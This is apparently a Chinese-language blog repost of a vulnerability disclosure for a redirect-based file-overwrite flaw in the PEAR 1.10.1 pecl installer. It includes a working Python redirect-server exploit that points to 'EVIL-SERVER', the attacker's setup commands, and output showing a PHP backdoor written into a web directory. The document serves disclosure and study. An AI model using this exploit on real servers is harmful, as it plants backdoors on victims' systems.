作者:**mapl0**
### 漏洞细节
在PEAR Base System的1.10.1版本的安装器里,可以在重定向后不验证文件的类型和文件名,进而允许远程http服务器通过特制的请求覆盖被攻击服务器的文件,比如.htaccess。
当被攻击者运行pecl download <attacker_server/file.tgz> 时即可触发漏洞。
pear 不会因为与原文件名重复而重命名无效文件。
因此,攻击者可以覆盖原文件或者下载个后门,前提是pecl的请求是从web目录发出的。
而且,pecl不会删除通过该方法获得的文件,因此给了攻击者时间在文件被注意到前去暴力破解后门文件。
POC Video:
https://vimeo.com/201341280
原版需翻墙
https://pan.baidu.com/s/1dFaHTxZ
个人录制,清晰度稍差
### 观点证明:
这个poc有三个关键点:
首先是,受害者发出一个pecl下载命令请求。
然后是attacker服务器接受到文件下载请求。
最后是php后门被attacker获取。
1)受害者服务器企图下载合法的.tgz文件。
pecl download http://VULN-SERVER:8080/Test.tgz
2)attacker's服务器收到test.tgz的请求并回复。
3) pecl无意的下载恶意php后门
在attackers服务器上运行:
python -m SimpleHTTPServer 8888
python PECL-File-Exploit.py
import socket
HOST='localhost'
PORT=8080
TARGET='http://EVIL-SERVER:8888/'
FILE='.htaccess'
s = socket.socket()
s.bind((HOST, PORT))
s.listen(10)
print 'Waiting for PECL connections...'
while True:
conn, addr = s.accept()
junk = conn.recv(512)
conn.send('HTTP/1.1 302 Found\r\n')
conn.send('Location: '+TARGET+FILE+'\r\n')
conn.close()
s.close()
当被攻击服务器下载该文件时:
C:\xampp\htdocs\webapp>pecl download http://VULN-SERVER:8080/Test.tgz
downloading Evil.php ...
Starting to download Evil.php (4,665 bytes)
.....done: 4,665 bytes
就会顺带把后门下载到当前目录下
File C:\xampp\htdocs\webapp\Evil.php downloaded
**个人总结**:该漏洞利用条件有些苛刻,需要被攻击者主动在web目录下运行perl,且目标url需要是攻击者服务器。
但是,该漏洞若被用于社交网站上钓鱼,其危害性也很大。
### Disclosure Timeline:
* Vendor Notification: January 11, 2017
* Informed "PECL package no longer maintained" : January 23, 2017
* Opened Bug #2117 : January 25, 2017
* January 29, 2017 : Public Disclosure
参考资料:https://www.exploit-db.com/exploits/41185/
暂无评论